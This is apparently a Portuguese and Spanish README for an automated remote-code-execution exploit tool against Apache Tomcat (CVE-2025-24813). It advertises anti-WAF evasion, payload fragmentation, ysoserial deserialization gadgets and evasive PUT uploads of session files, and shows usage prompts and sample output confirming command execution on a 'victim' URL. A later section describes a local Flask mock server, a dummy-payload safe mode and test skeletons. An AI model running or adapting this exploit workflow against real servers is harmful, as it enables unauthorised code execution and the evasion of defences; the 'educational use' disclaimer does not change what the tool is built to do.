
Este repositório contém um exploit automatizado desenvolvido para fins educacionais e de pesquisa em cibersegurança, destinado a demonstrar uma potencial vulnerabilidade de execução remota de código (RCE) no Apache Tomcat (CVE-2025-24813).
Esta ferramenta foi projetada como uma suíte de exploração futurista focada em:
🧪 Projetada para profissionais de cibersegurança, pesquisadores, pentesters e red teams.
✅ Interface interativa e intuitiva
✅ Payloads dinâmicos (ysoserial ou Java compilado)
✅ Headers camaleônicos anti-WAF
✅ Evasão automática + fragmentação de payloads
✅ Fingerprinting de execução no backend
✅ Logging detalhado por alvo
✅ Banner estilo cyberpunk dinâmico (🔮 glitch animation)
✅ Live feedback no console (com Rich & Colorama)
Instale os requisitos necessários com:
pip install -r requirements.txt
Dependências:
requests
colorama
rich
validators
E certifique-se de ter:
Java e javac no PATHysoserial.jar se você usar o payload do tipo ysoserialExecute o script:
python3 POC-Exploit_CVE_2025_24813.py
E complete a configuração:
🧬 Selecione o tipo de payload 💣 Especifique o comando 🌐 Insira a URL do alvo 🔧 Ajuste a evasão e a configuração SSL
🔗 [?] Ingresa la URL del objetivo: https://victima.org
💣 [?] Comando a ejecutar: whoami
🧬 [?] Tipo de payload: ysoserial
📂 [?] Ruta a ysoserial.jar: ysoserial.jar
🔧 [?] Gadget: CommonsCollections6
🔐 [?] ¿Verificar SSL? (sí/no): no
🚀 Ejecutando...
🧬 WAF detectado... cambiando estrategia
⚙️ Subida del payload en curso...
💥 Confirmación de ejecución remota
✅ Resultado: 'apache'
┌──────────────────────────────┐
│ Modo Interactivo │
├──────────────────────────────┤
│ Validación de URL │
│ Detección de sesión │
│ Detección de WAF │
│ Generación de payload │
│ Subida evasiva via PUT │
│ Verificación de ejecución │
└──────────────────────────────┘
↘ LOGS POR OBJETIVO
ysoserial, serializa gadgets vulneráveis para executar comandos..java personalizado que executa o comando remoto a partir do servidor.CommonsCollections6Spring1Jdk7u21POC-Exploit_CVE_2025_24813.py # Script principal
ysoserial.jar # Requerido si usas 'ysoserial'
logs/ # Carpeta de logs individuales por objetivo
payload.ser # Payload generado temporalmente
Exploit.java / .class # Archivos temporales para Java
Esta ferramenta foi criada exclusivamente para fins legais e educativos.
✅ Permitido:
🚫 Proibido:
Nem o autor nem os colaboradores se responsabilizam pelo uso indevido. Você é o responsável pela sua conduta.
ysoserial, Java, Rich, Colorama, requests📄 CVE-2025-24813: Apache Tomcat Remote Code Execution 🔗 Ver detalhes no CVE MITRE
MIT License
Copyright (c) 2025
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files...
Consulte o arquivo
LICENSEpara mais informações.
Este README e script são projetados para uma experiência imersiva, visual e elegante, em sintonia com uma nova era de cibersegurança futurista e com propósito.
✨ Não apenas exploits... é uma sinfonia técnica de evasão e controle digital.
Versão recomendada: Python 3.8+
Bibliotecas Python que você deve instalar:
pip install requests colorama
O script usa duas formas de payloads:
Por isso, você precisa de:
Java JDK (não apenas JRE, porque o código é compilado). Verifique com:
java -version
javac -version
Se ambos os comandos funcionarem, você está pronto.
Baixe o .jar daqui 👉 https://github.com/frohoff/ysoserial
Salve-o no mesmo diretório do script ou informe o caminho completo quando solicitado. Exemplo:
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
calc.exe) abrirá a calculadora.gnome-calculator ou xcalc.Instalar Python 3.8+
Instalar bibliotecas:
pip install requests colorama etc
Instalar Java JDK 8+
java -version
javac -version
Baixar ysoserial.jar para a pasta do script.
👉 Com tudo isso, você já poderá executar o script em modo laboratório seguro (somente em ambientes controlados, para testes).
Versão: 1.0 Propósito: Este guia explica como preparar um ambiente totalmente seguro para testar o script que você tem, sem afetar sistemas reais. Inclui um servidor de testes (mock), modo seguro (DRY_RUN / SAFE_TEST) e passos claros para executar a ferramenta em laboratório.
pip disponível.virtualenv ou venv.Instale as dependências:
python3 -m venv .venv
source .venv/bin/activate # Linux / macOS
.\.venv\Scripts\activate # Windows (PowerShell/Command Prompt)
pip install -U pip
pip install requests colorama flask
Nota:
flaské usado apenas para o servidor de testes local (mock).
Crie um arquivo mock_server.py com este conteúdo. O servidor simula os endpoints que o script espera e retorna estados controlados (200, 409, 500) para que você possa validar a lógica do script sem tocar em servidores reais.
# mock_server.py — servidor de pruebas seguro
from flask import Flask, request, make_response, jsonify
app = Flask(__name__)
uploads = {}
@app.route('/index.jsp', methods=['GET'])
def index():
# Simula una página que puede devolver una cookie JSESSIONID o un texto con "Session ID"
resp = make_response('Index page — Session ID: testsession')
resp.set_cookie('JSESSIONID', 'testsession')
return resp
@app.route('/check.txt', methods=['PUT'])
def check_put():
# Simula un recurso escribible
return ('OK', 200)
@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
# Simula que la subida fue aceptada pero retorna 409 (comportamiento que el script espera)
uploads[session_id] = True
return ('Conflict - uploaded', 409)
@app.route('/', methods=['GET'])
def root():
# Si la cookie coincide y la sesión fue "subida", devolvemos 500 para simular fallo por deserialización
session = request.cookies.get('JSESSIONID')
if session and uploads.get(session):
return ('Internal Server Error', 500)
return ('Hello from mock server', 200)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000, debug=True)
Como executá-lo:
python mock_server.py
# El mock quedará escuchando en http://127.0.0.1:8000
Para testes, você não precisa gerar payloads reais. Crie um arquivo simples que o script possa enviar:
echo "DUMMY_PAYLOAD" > payload.ser
Este arquivo não contém código executável: serve apenas para validar a lógica de upload e ver as respostas do servidor mock.
Para evitar que o script invoque utilitários externos (Java/ysoserial) ou execute ações perigosas, adicione este bloco ao início do script principal (antes de qualquer geração/chamada a subprocess):
import os
SAFE_TEST = os.environ.get('SAFE_TEST', '0') == '1'
Em seguida, modifique (ou envolva) as funções de geração/upload para se comportarem de forma segura quando SAFE_TEST for True.
Exemplo de alteração mínima para generate_ysoserial_payload e generate_java_payload:
def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST activo — creando payload dummy (no ejecutable)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_PAYLOAD")
return payload_file
# --- comportamiento original solo si SAFE_TEST == False ---
def generate_java_payload(command, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST activo — creando payload java dummy (no ejecutable)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_JAVA_PAYLOAD")
return payload_file
# --- comportamiento original solo si SAFE_TEST == False ---
E em upload_and_verify_payload, se SAFE_TEST for True, use o fluxo normal (o mock o aceitará), mas não execute comandos fora do script.
Como ativar SAFE_TEST:
Linux/macOS:
export SAFE_TEST=1
Windows (PowerShell):
$env:SAFE_TEST = "1"
Inicie seu ambiente virtual e certifique-se de ter as dependências instaladas (veja a seção Requisitos).
Execute o mock_server.py:
python mock_server.py
Crie o payload dummy se não usar SAFE_TEST ou se ele não criar o payload por você:
echo "DUMMY_PAYLOAD" > payload.ser
Ative o modo seguro no terminal:
export SAFE_TEST=1 # Linux/macOS
# o en PowerShell: $env:SAFE_TEST = "1"
Execute o script principal:
python3 tu_script.py
Responda aos prompts (você usará valores de laboratório):
http://127.0.0.1:8000ysoserial (o script, com SAFE_TEST=1, criará um payload dummy em vez de invocar ferramentas externas)ysoserial.jar — não será usado no modo seguro)no (seu mock usa HTTP)Observe a saída no console: você deve ver mensagens Server is writable via PUT, Payload uploaded with status 409 e Exploit succeeded! Server returned 500 after deserialization. — isso é apenas no mock e significa que o fluxo lógico do script funciona.
Revise os logs em logs/ — o script salva entradas com marcas de tempo. Por exemplo, logs/127_0_0_1_8000.log (de acordo com o nome do alvo sanitizado).
check_writable_servlet detecte o PUT bem-sucedido no endpoint /check.txt.payload.ser, o mock retorne 409 e que o script depois faça um GET com o cookie JSESSIONID.Use pytest e requests-mock para simular respostas HTTP.
Crie testes para:
validate_url — entradas válidas/errôneas.retry_request — simular exceções e novas tentativas.detect_waf — simular cabeçalhos Server com e sem assinaturas.upload_and_verify_payload — usar o mock do servidor para validar o fluxo.Exemplo simples com requests-mock (esqueleto):
# test_script.py
import requests
import requests_mock
from tu_script import validate_url, retry_request
def test_validate_url():
assert validate_url('http://127.0.0.1:8000')
assert not validate_url('notaurl')
def test_retry_request_success():
# usa requests_mock para simular un GET y comprobar retry_request
pass
Autor:ByMakavali